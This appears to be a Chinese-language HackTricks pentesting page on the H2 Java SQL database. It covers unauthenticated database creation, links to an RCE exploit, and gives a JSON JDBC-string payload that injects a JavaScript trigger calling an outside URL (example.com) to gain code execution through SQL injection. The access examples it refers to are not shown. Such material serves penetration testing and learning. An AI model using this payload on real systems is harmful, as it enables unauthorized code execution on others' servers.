H2 - Java SQL database

学习与实践AWS黑客技术：HackTricks培训AWS红队专家(ARTE) 学习与实践GCP黑客技术：HackTricks培训GCP红队专家(GRTE)

支持HackTricks

• 查看订阅计划!

• 加入 💬 Discord群组或Telegram群组或关注我们在Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks和HackTricks Cloud GitHub库提交PR分享黑客技巧。

Websec | Uw Cybersecurity Specialist

官方网站：https://www.h2database.com/html/main.html

访问

您可以指定一个不存在的数据库名称以在没有有效凭据的情况下创建新数据库（未认证）：

或者如果您知道例如mysql正在运行并且您知道数据库名称和该数据库的凭据，您可以直接访问它：

来自HTB的Hawk盒子的技巧。

RCE

访问H2数据库后，请查看此漏洞以获取RCE：https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL注入到RCE

在这篇文章中，解释了一种有效载荷，通过利用SQL注入获取RCE via H2数据库。

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

Websec | Uw Cybersecurity Specialist

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。